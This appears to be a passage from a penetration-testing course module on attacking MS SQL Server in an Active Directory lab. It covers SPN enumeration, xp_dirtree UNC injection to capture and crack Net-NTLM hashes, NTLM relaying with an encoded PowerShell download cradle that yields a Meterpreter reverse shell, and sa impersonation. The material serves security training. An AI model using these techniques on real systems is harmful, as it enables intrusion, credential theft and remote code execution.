26. Microsoft SQL Attacks

Regardless of their size or type, all organizations inevitably use databases both for data analysis and application data storage. Because they are so ubiquitous, and often contain high value data, databases are excellent targets during a penetration test.

In this module, we will focus on Microsoft SQL (MS SQL) and how it can be leveraged during a penetration test to compromise Windows servers and obtain additional access within an organization. Our focus will be exclusively on MS SQL because it is typically integrated with Active Directory. Nevertheless, the concepts used in this module may also be applicable to SQL databases from other vendors.

We are going to investigate a variety of MS SQL attack vectors such as enumeration, authentication, privilege escalation, and remote code execution.

26.1. MS SQL in Active Directory

Let's begin with some of the fundamentals. First, we'll discuss how to perform enumeration against MS SQL in an Active Directory environment. We'll start with the assumption that we have already compromised a workstation or server and have access as an unprivileged domain user.

Second, we'll discuss Microsoft SQL authentication. We want to understand what kind of access an unprivileged domain user has to a Kerberos-integrated MS SQL server.

Finally, we are going to combine this knowledge with traditional network attacks and compromise the operating system of the SQL server.

26.1.1. MS SQL Enumeration

The traditional way to locate instances of SQL servers is through network scans with tools such as Nmap.1 MS SQL commonly operates on TCP port 1433, so a scan can be relatively quick. A broader port scan would reveal non-default ports that are in use, as is the case with named instances of MS SQL.2

When a MS SQL server is running in the context of an Active Directory service account, it is normally associated with a Service Principal Name (SPN).3 The SPN is stored in the Active Directory and links the service account to the SQL server and its associated Windows server.

Therefore, a more discreet way of locating instances of MS SQL in an Active Directory environment is to query the domain controller for all registered SPNs related to MS SQL.

If we have compromised a domain-joined workstation in the context of a domain user, we can query the domain controller with the native setspn4 tool. To simulate this, we log in to the Windows 10 client machine as the Offsec domain user. From a command prompt, we invoke setspn as given in Listing 1, specifying the domain with -T and a wildcard SPN with the -Q flag.

Text Only

C:\Tools> setspn -T corp1 -Q MSSQLSvc/*
Checking domain DC=corp1,DC=com
CN=SQLSvc,OU=Corp1ServiceAccounts,OU=Corp1Users,DC=corp1,DC=com
        MSSQLSvc/appsrv01.corp1.com:1433
        MSSQLSvc/appsrv01.corp1.com:SQLEXPRESS
        MSSQLSvc/DC01.corp1.com:1433
        MSSQLSvc/DC01.corp1.com:SQLEXPRESS

Existing SPN found!

Listing 1 - Enumerating Microsoft SQL with setspn

From the output in Listing 1, we find two MS SQL instances in the domain with registered SPNs running on dc01 and appsrv01.

Caution

In the real world, a domain controller would not host a SQL server, but the lab is structured this way for efficiency reasons.

It's also possible to get the same information through the .NET framework by using a PowerShell script or C# assembly. One such public example is the GetUsersSPNs.ps1 PowerShell script,5 which is located in the C:\Tools folder on the Windows 10 client machine.

Running the script gives similar output to what we found with setspn:

Text Only

PS C:\Tools> . .\GetUserSPNs.ps1

ServicePrincipalName : kadmin/changepw
Name                 : krbtgt
SAMAccountName       : krbtgt
MemberOf             : CN=Denied RODC Password Replication Group,CN=Users,DC=corp1,DC=com
PasswordLastSet      : 11/13/2019 5:34:03 AM

ServicePrincipalName : MSSQLSvc/appsrv01.corp1.com:1433
Name                 : SQLSvc
SAMAccountName       : SQLSvc
MemberOf             : CN=Administrators,CN=Builtin,DC=corp1,DC=com
PasswordLastSet      : 3/21/2020 11:49:25 AM

ServicePrincipalName : MSSQLSvc/appsrv01.corp1.com:SQLEXPRESS
Name                 : SQLSvc
SAMAccountName       : SQLSvc
MemberOf             : CN=Administrators,CN=Builtin,DC=corp1,DC=com
PasswordLastSet      : 3/21/2020 11:49:25 AM

ServicePrincipalName : MSSQLSvc/DC01.corp1.com:1433
Name                 : SQLSvc
SAMAccountName       : SQLSvc
MemberOf             : CN=Administrators,CN=Builtin,DC=corp1,DC=com
PasswordLastSet      : 3/21/2020 11:49:25 AM

ServicePrincipalName : MSSQLSvc/DC01.corp1.com:SQLEXPRESS
Name                 : SQLSvc
SAMAccountName       : SQLSvc
MemberOf             : CN=Administrators,CN=Builtin,DC=corp1,DC=com
PasswordLastSet      : 3/21/2020 11:49:25 AM

Listing 2 - Enumerating Microsoft SQL with GetUsersSPN

The output from setspn and GetUserSPNs provides us with information about the hostname and TCP port for Kerberos-integrated MS SQL servers across the entire domain.

We also obtain information about the service account context under which the SQL servers are running. In this case, both servers execute in the context of the SQLSvc domain account, which is a member of built-in Administrators group. This means that the service account is a local administrator on both of the Windows servers where it's used.

This information will be useful as we move forward with our attacks.

Exercise

1. Perform enumeration through SPNs to locate MS SQL databases in the domain.

Footnotes

1. (Nmap, 2020), https://nmap.org/ ↩

2. (Microsoft, 2016), https://docs.microsoft.com/bs-cyrl-ba/sql/sql-server/install/instance-configuration?view=sql-server-2014 ↩

3. (Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names ↩

4. (Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v%3Dws.11) ↩

5. (Tim Medin, 2016), https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1 ↩

26.1.2. MS SQL Authentication

Now that we've gathered basic information about the location of our target SQL servers, the next step is to understand how Microsoft SQL authentication works, especially when it's integrated with Active Directory.

Authentication in MS SQL is implemented in two stages. First, a traditional login is required. This can be either an SQL server login or we can use Windows account-based authentication.1 SQL server login is performed with local accounts on each individual SQL server. Windows authentication on the other hand, works through Kerberos and allows any domain user to authenticate with a Ticket Granting Service (TGS) ticket.

The second stage happens after a successful login. In this stage, the login is mapped to a database user account.

As an example, we may perform a login with the built-in SQL server sa account, which will map to the dbo2 user account. If we perform a login with an account that has no associated SQL user account, it will automatically be mapped to the built-in guest user account.

We've covered logins and user accounts, but we also need to cover the concept of SQL roles.3 A login such as sa, which is mapped to the dbo user, will have the sysadmin role. This essentially makes it an administrator of the SQL server. On the other hand, a login that is mapped to the guest user will get the public role.

Caution

In a typical SQL injection attack, we obtain the ability to execute SQL queries in the context of a specific SQL user account that has been given some role memberships.

If Windows authentication is enabled, which is typically the case when the SQL server is integrated with Active Directory, we can authenticate through Kerberos, meaning we do not need to specify a password.

To test this, we are going to create a C# console application that performs authentication against the SQL server running on dc01. Then we'll attempt to execute some basic SQL enumeration queries.

First, we open Visual Studio on the Windows 10 client machine in the context of the Offsec domain user and create a new C# console application called SQL.

To create a connection to an MS SQL server, we use the SqlConnection4 class from the System.Data.SqlClient namespace. The constructor for SqlConnection requires a ConnectionString5 as an argument. The ConnectionString consists of several parts.

The most important parts are the hostname of the server and the database name. In our case, we will connect to the database server on dc01.corp1.com. Since we don't know anything about the database server structure, we need to select a database name that always exists. The default database in MS SQL is called "master".

Lastly, we must specify either the login and password or choose Windows Authentication with the "Integrated Security = True" setting.

We need to specify all three parts of the connection string, which are separated by semicolons as shown in Listing 3.

Text Only

using System;
using System.Data.SqlClient;

namespace SQL
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "dc01.corp1.com";
            String database = "master";

            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);
        }
    }
}            

Listing 3 - SqlConnection object instantiation

Once the SqlConnection object has been created, we use the Open6 method to initiate the connection.

If the connection attempt fails, an exception will occur. To handle this, we'll wrap it in a try-catch clause as shown in Listing 4.

Text Only

...
            SqlConnection con = new SqlConnection(conString);

            try
            {
              con.Open();
              Console.WriteLine("Auth success!");
            }
            catch
            {
              Console.WriteLine("Auth failed");
              Environment.Exit(0);
            }

            con.Close();
        }
...

Listing 4 - Opening SQL connection

If the connection is successful, we report it with a message to the console and subsequently close the connection. Otherwise, we'll report that and then exit the application.

To test this code, we select Release and x64, and then compile it. Once compiled, we execute Sql.exe from the Windows 10 client machine as the Offsec user.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!

Listing 5 - Authentication is successful

According to the output, we have access to the database.

This type of access is often possible on MS SQL because the Builtin\Users group has access by default, and the Domain Users group is a member of Builtin\Users. Since any domain account is a member of the Domain Users group, we automatically have access.

Note that we do not need any credentials since the authentication relies on the Kerberos protocol. To complete this exercise, let's disclose the SQL login we used along with the SQL user we are mapped to. In addition, we want to check which SQL server roles are available to us.

We will start with the SQL login. Once we have the code for that, the additional information will follow a similar coding pattern. The SYSTEM_USER7 SQL variable contains the name of the SQL login for the current session. If we can execute the SQL command "SELECT SYSTEM_USER;", we should get the SQL login.

To execute an arbitrary SQL query from C# while also obtaining the result of that query, we can use the SqlCommand class.8 Instantiating an object from this class requires two arguments: the SQL query and the open connection to the SQL server.

Since we are already able to open a connection to the SQL server with our previous code, we can append the following code.

Text Only

...
              Environment.Exit(0);
            }

            String querylogin = "SELECT SYSTEM_USER;";
            SqlCommand command = new SqlCommand(querylogin, con);
            SqlDataReader reader = command.ExecuteReader();

            con.Close();
        }
...

Listing 6 - Creating SqlCommand object

Note that both SQL queries and C# statements always terminate with a semicolon.

To execute the SQL query, we invoke the ExecuteReader9 method, which forwards it to the SQL server and returns a SqlDataReader10 object.

Before we can gain access to the desired data, we must call the Read11 method, which returns the result of the query.

The code required to execute this is shown in Listing 7.

Text Only

...
            SqlDataReader reader = command.ExecuteReader();
            reader.Read();
            Console.WriteLine("Logged in as: " + reader[0]);
            reader.Close();

            con.Close();
...

Listing 7 - Executing the SQL query with SqlDataReader

After we have fetched the results of the SQL query, we can access them from the SqlDataReader object using indexing,12 where the array index specifies the zero-based column ordinal in the retrieved data row.

Next we print the result to the console. It's important to invoke the Close13 method on the SqlDataReader object to allow subsequent SQL queries to be executed. If we don't, the SQL connection will be blocked.

Once we have obtained our login, we want to determine the username it is mapped to. We'll do this with the USER_NAME()14 function. This is very similar to what we did with SYSTEM_USER.

Finally, the IS_SRVROLEMEMBER15 function can be used to determine if a specific login is a member of a server role.

The IS_SRVROLEMEMBER function accepts the name of the role and returns a boolean value. An implementation that determines whether our login is a member of the public role is shown in Listing 8.

Text Only

...
            reader.Close();

            String querypublicrole = "SELECT IS_SRVROLEMEMBER('public');";
            command = new SqlCommand(querypublicrole, con);
            reader = command.ExecuteReader();
            reader.Read();
            Int32 role = Int32.Parse(reader[0].ToString());
            if(role == 1)
            {
              Console.WriteLine("User is a member of public role");
            }
            else
            {
              Console.WriteLine("User is NOT a member of public role");
            }
            reader.Close();

            con.Close();
...

Listing 8 - Finding role membership

We can use a similar method to discover any other role memberships.

Listing 9 shows the result of our application after it checks the SQL login, the username, and for membership of the public and sysadmin roles.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Logged in as: corp1\offsec
Mapped to the user: guest
User is a member of public role
User is NOT a member of sysadmin role

Listing 9 - Login, user name and role memberships

From the output of our console application, we note that we logged in with our domain account, which is mapped to the guest user account. Additionally, we have the public role, but not sysadmin role membership.

While this is a low privilege access, it's important to note that we have access to the database and can execute SQL commands, all without requiring the password of our current user.

In the rest of this module, we are going to expand our access beyond the database instance to the underlying operating system and additional servers.

Exercises

1. Execute the code to authenticate to the SQL server on dc01 as shown in this section.
2. Complete the C# implementation that fetches the SQL login, username, and role memberships.

Footnotes

1. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/authentication-in-sql-server ↩

2. (Microsoft, 2018), https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/server-and-database-roles-in-sql-server ↩

3. (Microsoft, 2018), https://docs.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-ver15 ↩

4. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlconnection?view=netframework-4.8 ↩

5. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlconnection.connectionstring?view=netframework-4.8 ↩

6. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlconnection.open?view=netframework-4.8 ↩

7. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/functions/system-user-transact-sql?view=sql-server-ver15 ↩

8. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlcommand?view=netframework-4.8 ↩

9. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqlcommand.executereader?view=netframework-4.8 ↩

10. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqldatareader?view=netframework-4.8 ↩

11. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqldatareader.read?view=netframework-4.8#System_Data_SqlClient_SqlDataReader_Read ↩

12. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqldatareader.item?view=netframework-4.8#System_Data_SqlClient_SqlDataReader_Item_System_Int32_ ↩

13. (Microsoft, 2020), https://docs.microsoft.com/en-us/dotnet/api/system.data.sqlclient.sqldatareader.close?view=netframework-4.8#System_Data_SqlClient_SqlDataReader_Close ↩

14. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/functions/user-name-transact-sql?view=sql-server-ver15 ↩

15. (Microsoft, 2017), https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15 ↩

26.1.3. UNC Path Injection

In this section, we are going to examine an attack that can quickly lead to code execution on other SQL servers present in the environment.

The premise of the attack is rather simple. If we can force an SQL server to connect to an SMB share we control, the connection will include authentication data. More specifically, NTLM authentication will take place and we should be able to capture the hash of the user account under whose context the SQL server is running. We can then either try to crack the hash or use it in relaying attacks.

This attack consists of a number of steps. We will cover each of these while also discussing the required theory.

We are going to start by forcing the SQL server to perform a connection request to a SMB share on our Kali machine. To do that, we can use the undocumented xp_dirtree1 SQL procedure, which lists all files in a given folder. More importantly, the procedure can accept a SMB share as a target, rather than just local file paths.

If we use our unprivileged access in the database to execute the xp_dirtree procedure, the service account of the SQL server will attempt to list the contents of a given SMB share. A SMB share is typically supplied with a Universal Naming Convention (UNC)2 path, which has the following format.

Text Only

\\hostname\folder\file

Listing 10 - UNC path format

If the hostname is given as an IP address, Windows will automatically revert to NTLM authentication instead of Kerberos authentication.3

We are now ready to create a C# console app that performs authentication to the SQL server on dc01 with the unprivileged login and then issues a SQL query that executes the xp_dirtree procedure.

The authentication portion of the code is the same as in our previous proof of concept. We'll use the ExecuteReader method again and pass the query to the SQL server.

Text Only

using System;
using System.Data.SqlClient;

namespace SQL
{
    class Program
    {
        static void Main(string[] args)
        {
            String sqlServer = "dc01.corp1.com";
            String database = "master";

            String conString = "Server = " + sqlServer + "; Database = " + database + "; Integrated Security = True;";
            SqlConnection con = new SqlConnection(conString);

            try
            {
                con.Open();
                Console.WriteLine("Auth success!");
            }
            catch
            {
                Console.WriteLine("Auth failed");
                Environment.Exit(0);
            }

            String query = "EXEC master..xp_dirtree \"\\\\192.168.119.120\\\\test\";";
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();
            reader.Close();

            con.Close();
        }
    }
}

Listing 11 - C# code to execute xp_dirtree procedure

The SQL query to invoke xp_dirtree contains a number of backslashes, both to escape the double quote required by the SQL query and to escape the backslashes in the UNC path as required by C# strings.

Caution

Many other SQL procedures can be used to initiate the connection if xp_dirtree has been removed for security reasons.4

Now we must set up a SMB share that will initiate NTLM authentication when the SQL service account performs the connection. An easy way to do this is by using Responder,5 which comes pre-installed on Kali.

We'll need to shut down the Samba share used with Visual Studio before starting Responder. Once that is done, we can launch responder and specify the VPN connection network interface (-I).

Text Only

kali@kali:~$ sudo responder -I tap0

...

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
...

[+] Listening for events...

Listing 12 - Running Responder with default options

With Responder running, we are ready to start the attack.

We run the C# console application from the Windows 10 client, which initiates the SMB connection against our Kali machine. Within moments, we obtain the output displayed in Listing 13.

Text Only

[SMB] NTLMv2-SSP Client   : 192.168.120.5
[SMB] NTLMv2-SSP Username : corp1\SQLSvc
[SMB] NTLMv2-SSP Hash     : SQLSvc::corp1:00031db3ed40602b:A05501E7450025CF27120CE89BAF1C6E:0101000000000000C0653150DE09D201F361A5C346497213000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000F0C0485B788E50568F693E83CCD6953981AFB24CAFC525AC27F6B099E5685FA20A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E003100310038002E003900000000000000000000000000                                         
[*] Skipping previously captured hash for corp1\SQLSvc

Listing 13 - Obtaining Net-NTLM hash from dc01

The hash obtained by Responder is called a Net-NTLM6 hash or sometimes NTLMv2. Before we continue, let's quickly review the difference between NTLM and Net-NTLM.

As covered in a previous module, Windows user account passwords are stored locally as NTLM hashes. When authentication with the NTLM protocol takes place over the network, a challenge and response is created based on the NTLM hash. The resulting hash is called Net-NTLM and it represents the same clear text password as the NTLM hash.

A Net-NTLM hash based on a weak password can be cracked and reveal the clear text password, just like with a NTLM hash.

In this example, we attempt to crack the hash with hashcat7 by copying the hash into a file (hash.txt). We then specify the Net-NTLM hash type with the -m option along with a dictionary file.

Text Only

kali@kali:~$ hashcat -m 5600 hash.txt dict.txt --force
hashcat (v5.1.0) starting...
...

SQLSVC::corp1:00031db3ed40602b:a05501e7450025cf27120ce89baf1c6e:0101000000000000c0653150de09d201f361a5c346497213000000000200080053004d004200330001001e00570049004e002d00500052004800340039003200520051004100460056000400140053004d00420033002e006c006f00630061006c0003003400570049004e002d00500052004800340039003200520051004100460056002e0053004d00420033002e006c006f00630061006c000500140053004d00420033002e006c006f00630061006c0007000800c0653150de09d20106000400020000000800300030000000000000000000000000300000f0c0485b788e50568f693e83ccd6953981afb24cafc525ac27f6b099e5685fa20a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e003100310038002e003900000000000000000000000000:lab

Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
Hash.Target......: SQLSVC::corp1:00031db3ed40602b:a05501e7450025cf2712...000000
...

Listing 14 - Cracking the Net-NTLM hash with Hashcat

This reveals the password "lab" for the SQLSVC service account. Since SQLSVC is a local administrator on both dc01 and appsrv01, we now have access to both of them.

Caution

Hashcat is meant to be run on a physical machine to take advantage of powerful GPUs. In the example above, we had to supply the --force flag because we ran it inside a VM and no physical hardware was detected by Hashcat. It's also possible to use John the Ripper8 to crack the hash instead.

If weak passwords are used for SQL service accounts, this can be a quick way to compromise the operating system. In the next section, we are going to examine a variant of this attack that will not require the Net-NTLM hash to be cracked.

Exercises

1. Create the C# code that will trigger a connection to a SMB share.
2. Capture the Net-NTLM hash with Responder.
3. Crack the password hash for SQLSVC and gain access to appsrv01 and dc01.

Footnotes

1. (Sql Server Central, 2012), https://www.sqlservercentral.com/blogs/how-to-use-xp_dirtree-to-list-all-files-in-a-folder ↩

2. (Wikipedia, 2020),https://en.wikipedia.org/wiki/Path_(computing)#UNC ↩

3. (Microsoft, 2020), https://docs.microsoft.com/en-us/windows-server/security/kerberos/configuring-kerberos-over-ip ↩

4. (NetSPI, 2020), https://github.com/NetSPI/PowerUpSQL/wiki/SQL-Server---UNC-Path-Injection-Cheat-Sheet ↩

5. (Ignadx, 2020), https://github.com/lgandx/Responder ↩

6. (Peter Gombos, 2018), https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4 ↩

7. (HashCat), https://hashcat.net/hashcat/ ↩

8. (Openwall, 2020), https://www.openwall.com/john/ ↩

26.1.4. Relay My Hash

In the previous section, we forced the SQL service account to connect to our SMB share and capture the Net-NTLM hash. We were lucky that the service account used a weak password, which allows us to crack it.

Now we are going to discuss a technique that will yield code execution on the operating system of the SQL server without requiring us to crack the hash.

If we have captured the NTLM hash of a domain user that is a local administrator on a remote machine, we can perform a pass-the-hash attack and gain remote code execution.

However, the Net-NTLM hash cannot be used in a pass-the-hash attack, but we can relay it to a different computer. If the user is a local administrator on the target, we can obtain code execution.

Caution

It's not possible to relay a Net-NTLM hash back to the origin computer using the same protocol as this was blocked by Microsoft in 2008.

It is important to note that Net-NTLM relaying against SMB is only possible if SMB signing1 is not enabled. SMB signing is only enabled by default on domain controllers.

In our enumeration exercise, we found that the service account used with the SQL server is used on both dc01 and appsrv01 and that it's a local administrator on both systems. This means we can relay the Net-NTLM hash from dc01 to appsrv01.

To perform this attack, we are going to use the Impacket2 ntlmrelayx tool. This tool forces the same type of NTLM authentication as Responder, but relays the authentication to a different host and allows us to execute arbitrary commands against it.

To install Impacket, we will use the python3-impacket package in Kali.

Text Only

kali@kali:~$ sudo apt install python3-impacket
[sudo] password for kali: 
Reading package lists... Done
Building dependency tree       
Reading state information... Done
...

Listing 15 - Installing Impacket

With Impacket installed, we can continue with the attack.

We are going to use our previously-developed PowerShell runner to execute a Meterpreter staged payload. We'll generate a staged Meterpreter payload that connects back on TCP port 443 and embed that in our runner (run.txt), which we can host with Apache on TCP port 80.

When we invoke ntlmrelayx, we must supply the PowerShell download cradle on the command line. Because of the syntax, it is a good idea to base64 encode it. To do this on Kali, we can quickly install PowerShell as shown in Listing 16.

Text Only

kali@kali:~$ sudo apt -y install powershell
[sudo] password for kali: 
Reading package lists... Done
Building dependency tree       
Reading state information... Done
...

Listing 16 - Installing PowerShell in Kali

Next, we start PowerShell with the pwsh command and base64 encode the download cradle.

Text Only

kali@kali:~$ pwsh
PowerShell 7.0.0
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> $text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX"
PS /home/kali> $bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
PS /home/kali> $EncodedText = [Convert]::ToBase64String($bytes)
PS /home/kali> $EncodedText
KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQA4AC4ANgAvAHIAdQBuAC4AdAB4AHQAJwApACAAfAAgAEkARQBYAA==
PS /home/kali>

Listing 17 - Base64 encoding the PowerShell download cradle

We must also start a Metasploit multi/handler to catch the reverse Meterpreter shell on our Kali machine. Once all of these pieces have been prepared, we can initiate the attack.

We launch impacket-ntlmrelayx and prevent it from setting up an HTTP web server with the --no-http-server flag. ntlmrelayx uses SMB version 1 by default, which is disabled on Windows Server 2019, so we must specify the -smb2support flag to force authentication as SMB version 2.

Next, we supply the IP address of appsrv01 with the -t option and the command to execute with -c.

Text Only

kali@kali:~$ sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c 'powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQA4AC4AOQA6ADgAMQAvAHIAdQBuAC4AcABzADEAJwApACAAfAAgAEkARQBYAA=='
[sudo] password for kali: 
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Protocol Client SMTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server

[*] Servers started, waiting for connections

Listing 18 - Launching ntlmrelayx

Finally, we execute the C# console application on the Windows 10 client machine to force the SMB request from the SQL server. This results in NTLM authentication against our Kali machine and relaying of the Net-NTLM hash.

Text Only

[*] SMBD-Thread-3: Connection from CORP1/SQLSVC@192.168.120.5 controlled, attacking target smb://192.168.120.6
[*] Authenticating against smb://192.168.120.6 as CORP1/SQLSVC SUCCEED
[*] SMBD-Thread-3: Connection from CORP1/SQLSVC@192.168.120.5 controlled, but there are no more targets left!
[*] SMBD-Thread-5: Connection from CORP1/SQLSVC@192.168.120.5 controlled, but there are no more targets left!
...

Listing 19 - Relaying the Net-NTLM hash with ntlmrelayx

From the output, we notice that ntlmrelayx succeeded. If we switch to Metasploit, we notice that our listener has caught a reverse Meterpreter shell from appsrv01.

Text Only

[*] Started HTTP reverse handler on https://192.168.119.120:443
[*] http://192.168.119.120:443 handling request from 192.168.120.6; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.6:49678)

meterpreter > 

Listing 20 - Reverse Meterpreter shell from Net-NTLM relaying

We have managed to get a shell on appsrv01 in the context of the SQL server service account without cracking the password. We were able to accomplish this despite of our low privileged access to the database. Excellent!

In this section, we have covered an attack that takes advantage of shared accounts and allows us to compromise a number of servers on an internal network. In the next section, we are going to move on to ways to obtain higher privileges inside the SQL server application.

Exercises

1. Install Impacket, prepare the PowerShell shellcode runner, and Base64 encode the PowerShell download cradle.
2. Launch ntlmrelayx to relay the Net-NTLM hash from dc01 to appsrv01 and set up a multi/handler in Metasploit.
3. Execute the attack by triggering a connection from the SQL server to SMB on the Kali machine and obtain a reverse shell from appsrv01.

Footnotes

1. (Microsoft, 2010), https://docs.microsoft.com/en-gb/archive/blogs/josebda/the-basics-of-smb-signing-covering-both-smb1-and-smb2 ↩

2. (Impacket, 2020), https://github.com/SecureAuthCorp/impacket ↩

26.2. MS SQL Escalation

Although we have managed to gain access to a MS SQL server using a compromised non-administrative domain account, our database access privileges are rather limited. In this section, we are going to investigate how to gain elevated privileges on the database server.

We are also going to see how we can attempt to break out of the SQL server instance and gain code execution on the Windows system running the SQL server.

26.2.1. Privilege Escalation

The most obvious and easy way to obtain higher privileges in the database would be to authenticate with a user that has sysadmin role membership. Although we might not be able to compromise such a user through an initial phishing attack, we could perform enumeration and lateral movement within Active Directory to obtain access to a user account with sysadmin role membership. This approach will have varying degrees of success.

In this section, we'll use a different approach that relies on Impersonation.1 This can be accomplished using the EXECUTE AS statement,2 which provides a way to execute a SQL query in the context of a different login or user.

It is important to note that only users with the explicit Impersonate permission are able to use impersonation. This permission is not part of the default set of permissions for most users, but database administrators may introduce misconfigurations that can lead to privilege escalation.

For the purpose of this example, we have introduced an impersonation permission misconfiguration in the SQL server running on dc01. There are two different ways impersonation can be used. First, it's possible to impersonate a different user at the login level with the EXECUTE AS LOGIN statement. Second, this can also be done at the user level with the EXECUTE AS USER statement. We will cover both scenarios.

First, we will demonstrate impersonation at the login level. Due to our unprivileged access, we cannot easily enumerate which logins our current login can impersonate. However, we are able to enumerate which logins allow impersonation, but not who is given the permission to impersonate them. We can get this information using the database query shown in Listing 21.

Text Only

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

Listing 21 - Enumerating login impersonation permissions

This query uses information from the sys.server_permissions table,3 which contains information related to permissions, and the sys.server_principals table,4 which contains information about logins on the server.

The WHERE clause limits results to permissions relevant to impersonation, while the FROM clause combines records from the sys.server_permissions table and the sys.server_principals table through the grantor_principal_id and principal_id fields.

Finally, the SELECT clause returns, by name, all unique principals from the sys.server_principals table that match these conditions. This will give us all the logins that allow impersonation.

We can modify our C# console application to issue this query by replacing the previous xp_dirtree procedure with the code shown in Listing 22. We'll need to remember to start the Samba share for Visual Studio again.

Text Only

...
              Environment.Exit(0);
            }

            String query = "SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';";
            SqlCommand command = new SqlCommand(query, con);
            SqlDataReader reader = command.ExecuteReader();

            while(reader.Read() == true)
            {
              Console.WriteLine("Logins that can be impersonated: " + reader[0]);
            }
            reader.Close();

            con.Close();
        }
...

Listing 22 - Impersonation enumeration code in C#

With the code updated and compiled, we execute it and discover that the sa login allows impersonation.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Logins that can be impersonated: sa

Listing 23 - SA login allows impersonation

Although we do not know who is allowed to impersonate it, at this stage we at least know that the sa login does allow impersonation.

Let's try to impersonate the sa login. In order to learn more about how this works, we update our C# to list the login name before and after impersonation.

To do this, we'll reuse the code from an earlier section where we executed the SQL "SELECT SYSTEM_USER" command. Listing 24 shows the code to perform the impersonation through the EXECUTE AS LOGIN query.

Text Only

...
String executeas = "EXECUTE AS LOGIN = 'sa';";

command = new SqlCommand(executeas, con);
reader = command.ExecuteReader();
reader.Close();
...

Listing 24 - Impersonation of the SA login

After updating and compiling the code, we can execute the application and obtain the output shown in Listing 25.

Text Only

PS C:\Tools> \\192.168.119.120\visualstudio\Sql\Sql\bin\Release\Sql.exe
Auth success!
Before impersonation
Executing in the context of: corp1\offsec
After impersonation
Executing in the context of: sa

Listing 25 - Success in impersonating the SA login

From Listing 25, we find that our unprivileged login can impersonate the sa login. This effectively gives us database server administrative privileges.

We will explore how to use this privileged access to obtain code execution on the host operating system later. For now, we are going to inspect a variation of the impersonation technique.

As we mentioned before, it's possible to allow impersonation of a login as well as a database user. There are two prerequisites to this type of privilege escalation.

First, impersonation must have been granted to our user for a different user that has additional role memberships, preferably the sysadmin role.

